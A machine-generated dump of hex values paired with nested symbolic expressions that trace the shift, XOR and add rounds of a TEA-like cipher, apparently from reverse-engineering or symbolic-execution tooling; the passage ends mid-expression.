('0x22cd286c5', '0x5e4b3c01+(((((0x54c8bd30+((((0x5e4b3c01<<0x4)+0xd30a286e)^(0x5e4b3c01+(((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x5e4b3c01>>0x5)+0xca2410fd)))<<0x4)+0x4ec10fc6)^((0x54c8bd30+((((0x5e4b3c01<<0x4)+0xd30a286e)^(0x5e4b3c01+(((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x5e4b3c01>>0x5)+0xca2410fd)))+((((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^(((0x54c8bd30+((((0x5e4b3c01<<0x4)+0xd30a286e)^(0x5e4b3c01+(((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x5e4b3c01>>0x5)+0xca2410fd)))>>0x5)+0xe98cd7d9))')
('0x111111108', '((((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678)')
('0x2175de85a', '((0x54c8bd30+((((0x5e4b3c01<<0x4)+0xd30a286e)^(0x5e4b3c01+(((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x5e4b3c01>>0x5)+0xca2410fd)))+((((0x2cd286c5<<0x4)+0xd30a286e)^(0x2cd286c5+((((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x2cd286c5>>0x5)+0xca2410fd)))+(((((0x2cd286c5+((((((0x54c8bd30+((((0x5e4b3c01<<0x4)+0xd30a286e)^(0x5e4b3c01+(((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x5e4b3c01>>0x5)+0xca2410fd)))+((((0x2cd286c5<<0x4)+0xd30a286e)^(0x2cd286c5+((((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x2cd286c5>>0x5)+0xca2410fd)))<<0x4)+0x4ec10fc6)^(((0x54c8bd30+((((0x5e4b3c01<<0x4)+0xd30a286e)^(0x5e4b3c01+(((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x5e4b3c01>>0x5)+0xca2410fd)))+((((0x2cd286c5<<0x4)+0xd30a286e)^(0x2cd286c5+((((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x2cd286c5>>0x5)+0xca2410fd)))+0x11111108))^((((0x54c8bd30+((((0x5e4b3c01<<0x4)+0xd30a286e)^(0x5e4b3c01+(((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x5e4b3c01>>0x5)+0xca2410fd)))+((((0x2cd286c5<<0x4)+0xd30a286e)^(0x2cd286c5+((((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x2cd286c5>>0x5)+0xca2410fd)))>>0x5)+0xe98cd7d9)))<<0x4)+0xd30a286e)^((0x2cd286c5+((((((0x54c8bd30+((((0x5e4b3c01<<0x4)+0xd30a286e)^(0x5e4b3c01+(((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x5e4b3c01>>0x5)+0xca2410fd)))+((((0x2cd286c5<<0x4)+0xd30a286e)^(0x2cd286c5+((((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x2cd286c5>>0x5)+0xca2410fd)))<<0x4)+0x4ec10fc6)^(((0x54c8bd30+((((0x5e4b3c01<<0x4)+0xd30a286e)^(0x5e4b3c01+(((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x5e4b3c01>>0x5)+0xca2410fd)))+((((0x2cd286c5<<0x4)+0xd30a286e)^(0x2cd286c5+((((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x2cd286c5>>0x5)+0xca2410fd)))+0x11111108))^((((0x54c8bd30+((((0x5e4b3c01<<0x4)+0xd30a286e)^(0x5e4b3c01+(((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x5e4b3c01>>0x5)+0xca2410fd)))+((((0x2cd286c5<<0x4)+0xd30a286e)^(0x2cd286c5+((((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x2cd286c5>>0x5)+0xca2410fd)))>>0x5)+0xe98cd7d9)))+0x11111108))^(((0x2cd286c5+((((((0x54c8bd30+((((0x5e4b3c01<<0x4)+0xd30a286e)^(0x5e4b3c01+(((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x5e4b3c01>>0x5)+0xca2410fd)))+((((0x2cd286c5<<0x4)+0xd30a286e)^(0x2cd286c5+((((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x2cd286c5>>0x5)+0xca2410fd)))<<0x4)+0x4ec10fc6)^(((0x54c8bd30+((((0x5e4b3c01<<0x4)+0xd30a286e)^(0x5e4b3c01+(((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x5e4b3c01>>0x5)+0xca2410fd)))+((((0x2cd286c5<<0x4)+0xd30a286e)^(0x2cd286c5+((((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x2cd286c5>>0x5)+0xca2410fd)))+0x11111108))^((((0x54c8bd30+((((0x5e4b3c01<<0x4)+0xd30a286e)^(0x5e4b3c01+(((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x5e4b3c01>>0x5)+0xca2410fd)))+((((0x2cd286c5<<0x4)+0xd30a286e)^(0x2cd286c5+((((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x2cd286c5>>0x5)+0xca2410fd)))>>0x5)+0xe98cd7d9)))>>0x5)+0xca2410fd))')
('0x17f922c05', '((0x2cd286c5+((((((0x54c8bd30+((((0x5e4b3c01<<0x4)+0xd30a286e)^(0x5e4b3c01+(((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x5e4b3c01>>0x5)+0xca2410fd)))+((((0x2cd286c5<<0x4)+0xd30a286e)^(0x2cd286c5+((((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x2cd286c5>>0x5)+0xca2410fd)))<<0x4)+0x4ec10fc6)^(((0x54c8bd30+((((0x5e4b3c01<<0x4)+0xd30a286e)^(0x5e4b3c01+(((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x5e4b3c01>>0x5)+0xca2410fd)))+((((0x2cd286c5<<0x4)+0xd30a286e)^(0x2cd286c5+((((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x2cd286c5>>0x5)+0xca2410fd)))+0x11111108))^((((0x54c8bd30+((((0x5e4b3c01<<0x4)+0xd30a286e)^(0x5e4b3c01+(((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x5e4b3c01>>0x5)+0xca2410fd)))+((((0x2cd286c5<<0x4)+0xd30a286e)^(0x2cd286c5+((((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x2cd286c5>>0x5)+0xca2410fd)))>>0x5)+0xe98cd7d9)))+((((0x175de85a<<0x4)+0x4ec10fc6)^(0x175de85a+(0x11111108+(0x0+0x12345678))))^((0x175de85a>>0x5)+0xe98cd7d9)))+(((((0x175de85a+((((((0x2cd286c5+((((((0x54c8bd30+((((0x5e4b3c01<<0x4)+0xd30a286e)^(0x5e4b3c01+(((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x5e4b3c01>>0x5)+0xca2410fd)))+((((0x2cd286c5<<0x4)+0xd30a286e)^(0x2cd286c5+((((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x2cd286c5>>0x5)+0xca2410fd)))<<0x4)+0x4ec10fc6)^(((0x54c8bd30+((((0x5e4b3c01<<0x4)+0xd30a286e)^(0x5e4b3c01+(((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x5e4b3c01>>0x5)+0xca2410fd)))+((((0x2cd286c5<<0x4)+0xd30a286e)^(0x2cd286c5+((((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x2cd286c5>>0x5)+0xca2410fd)))+0x11111108))^((((0x54c8bd30+((((0x5e4b3c01<<0x4)+0xd30a286e)^(0x5e4b3c01+(((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x5e4b3c01>>0x5)+0xca2410fd)))+((((0x2cd286c5<<0x4)+0xd30a286e)^(0x2cd286c5+((((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x2cd286c5>>0x5)+0xca2410fd)))>>0x5)+0xe98cd7d9)))+((((0x175de85a<<0x4)+0x4ec10fc6)^(0x175de85a+(0x11111108+(0x0+0x12345678))))^((0x175de85a>>0x5)+0xe98cd7d9)))<<0x4)+0xd30a286e)^(((0x2cd286c5+((((((0x54c8bd30+((((0x5e4b3c01<<0x4)+0xd30a286e)^(0x5e4b3c01+(((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x5e4b3c01>>0x5)+0xca2410fd)))+((((0x2cd286c5<<0x4)+0xd30a286e)^(0x2cd286c5+((((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x2cd286c5>>0x5)+0xca2410fd)))<<0x4)+0x4ec10fc6)^(((0x54c8bd30+((((0x5e4b3c01<<0x4)+0xd30a286e)^(0x5e4b3c01+(((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x5e4b3c01>>0x5)+0xca2410fd)))+((((0x2cd286c5<<0x4)+0xd30a286e)^(0x2cd286c5+((((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x2cd286c5>>0x5)+0xca2410fd)))+0x11111108))^((((0x54c8bd30+((((0x5e4b3c01<<0x4)+0xd30a286e)^(0x5e4b3c01+(((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x5e4b3c01>>0x5)+0xca2410fd)))+((((0x2cd286c5<<0x4)+0xd30a286e)^(0x2cd286c5+((((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x2cd286c5>>0x5)+0xca2410fd)))>>0x5)+0xe98cd7d9)))+((((0x175de85a<<0x4)+0x4ec10fc6)^(0x175de85a+(0x11111108+(0x0+0x12345678))))^((0x175de85a>>0x5)+0xe98cd7d9)))+(0x11111108+(0x0+0x12345678))))^((((0x2cd286c5+((((((0x54c8bd30+((((0x5e4b3c01<<0x4)+0xd30a286e)^(0x5e4b3c01+(((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x5e4b3c01>>0x5)+0xca2410fd)))+((((0x2cd286c5<<0x4)+0xd30a286e)^(0x2cd286c5+((((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x2cd286c5>>0x5)+0xca2410fd)))<<0x4)+0x4ec10fc6)^(((0x54c8bd30+((((0x5e4b3c01<<0x4)+0xd30a286e)^(0x5e4b3c01+(((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x5e4b3c01>>0x5)+0xca2410fd)))+((((0x2cd286c5<<0x4)+0xd30a286e)^(0x2cd286c5+((((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x2cd286c5>>0x5)+0xca2410fd)))+0x11111108))^((((0x54c8bd30+((((0x5e4b3c01<<0x4)+0xd30a286e)^(0x5e4b3c01+(((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x5e4b3c01>>0x5)+0xca2410fd)))+((((0x2cd286c5<<0x4)+0xd30a286e)^(0x2cd286c5+((((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x2cd286c5>>0x5)+0xca2410fd)))>>0x5)+0xe98cd7d9)))+((((0x175de85a<<0x4)+0x4ec10fc6)^(0x175de85a+(0x11111108+(0x0+0x12345678))))^((0x175de85a>>0x5)+0xe98cd7d9)))>>0x5)+0xca2410fd)))<<0x4)+0x4ec10fc6)^((0x175de85a+((((((0x2cd286c5+((((((0x54c8bd30+((((0x5e4b3c01<<0x4)+0xd30a286e)^(0x5e4b3c01+(((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x5e4b3c01>>0x5)+0xca2410fd)))+((((0x2cd286c5<<0x4)+0xd30a286e)^(0x2cd286c5+((((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x2cd286c5>>0x5)+0xca2410fd)))<<0x4)+0x4ec10fc6)^(((0x54c8bd30+((((0x5e4b3c01<<0x4)+0xd30a286e)^(0x5e4b3c01+(((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x5e4b3c01>>0x5)+0xca2410fd)))+((((0x2cd286c5<<0x4)+0xd30a286e)^(0x2cd286c5+((((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x2cd286c5>>0x5)+0xca2410fd)))+0x11111108))^((((0x54c8bd30+((((0x5e4b3c01<<0x4)+0xd30a286e)^(0x5e4b3c01+(((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x5e4b3c01>>0x5)+0xca2410fd)))+((((0x2cd286c5<<0x4)+0xd30a286e)^(0x2cd286c5+((((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x2cd286c5>>0x5)+0xca2410fd)))>>0x5)+0xe98cd7d9)))+((((0x175de85a<<0x4)+0x4ec10fc6)^(0x175de85a+(0x11111108+(0x0+0x12345678))))^((0x175de85a>>0x5)+0xe98cd7d9)))<<0x4)+0xd30a286e)^(((0x2cd286c5+((((((0x54c8bd30+((((0x5e4b3c01<<0x4)+0xd30a286e)^(0x5e4b3c01+(((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x5e4b3c01>>0x5)+0xca2410fd)))+((((0x2cd286c5<<0x4)+0xd30a286e)^(0x2cd286c5+((((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x2cd286c5>>0x5)+0xca2410fd)))<<0x4)+0x4ec10fc6)^(((0x54c8bd30+((((0x5e4b3c01<<0x4)+0xd30a286e)^(0x5e4b3c01+(((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x5e4b3c01>>0x5)+0xca2410fd)))+((((0x2cd286c5<<0x4)+0xd30a286e)^(0x2cd286c5+((((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x2cd286c5>>